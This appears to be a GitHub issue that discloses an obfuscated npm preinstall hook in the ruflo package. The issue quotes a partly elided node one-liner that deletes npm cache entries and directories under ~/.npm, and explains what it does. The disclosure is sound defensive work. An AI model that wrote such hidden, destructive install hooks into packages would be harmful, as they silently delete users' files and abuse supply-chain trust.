Skip to content

CAUTION: Obfuscated preinstall script deletes npm cache entries for claude-flow and ruflo #1261

@d-atlas

Description

@d-atlas

Summary

ruflo v3.5.2 (current on npm) contains an obfuscated one-liner in its preinstall
lifecycle hook. This code runs automatically at npm install time, before any package
files are written, with no disclosure in the README, CHANGELOG, or npm page.

The code

From ruflo/package.json, "scripts"."preinstall" (verify with npm view ruflo scripts):

  node -e "var f=require('fs'),p=require('path'),o=require('os'),h=o.homedir(),
  d=p.join(h,'.npm','_npx');
  ...f.rmSync(t,{recursive:true,force:true})...
  ...if(c.indexOf('claude-flow')!==-1||c.indexOf('ruflo')!==-1)f.unlinkSync(fp)
  ..." || true

What it does (deobfuscated)

Part 1: Walks ~/.npm/_npx/*/node_modules/ and recursively deletes directories
whose names start with ., contain -, and contain 8+ consecutive letters.

Part 2: Recursively walks ~/.npm/_cacache/index-v5/ (npm's package metadata
cache) and calls fs.unlinkSync() on every file whose content contains the string
"claude-flow" or "ruflo".

This means: if a user has previously npm install-ed claude-flow (the predecessor
package, also by this author), those cache index entries are silently deleted on
install of ruflo.

Why this is a problem

  1. Obfuscation. Destructive filesystem operations in install scripts are a known
    supply chain attack vector. Minifying them into a single unreadable line, with no
    comment, is deceptive regardless of intent.

  2. Destructive writes outside the package directory. ~/.npm/_cacache/ is a
    shared user-level resource. npm's own guidelines prohibit install scripts from
    modifying files outside their package scope without disclosure.

  3. Targets a competing package by name. claude-flow is the predecessor package
    by the same author, still available on npm. Deleting its cache entries on install
    of a competing package is anti-competitive and violates npm's acceptable use policy.

  4. No disclosure. None of this is mentioned in the README or on the npm page.

Note: @claude-flow/cli — which ruflo depends on — contains its own preinstall
that is now a no-op with the comment
"// Preinstall hook — no-op (cache repair removed in 3.1.0-alpha.53)".
The destructive version was removed from the dependency but left in the wrapper.

Steps to verify

  npm view ruflo scripts --json
  # Inspect the preinstall value

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions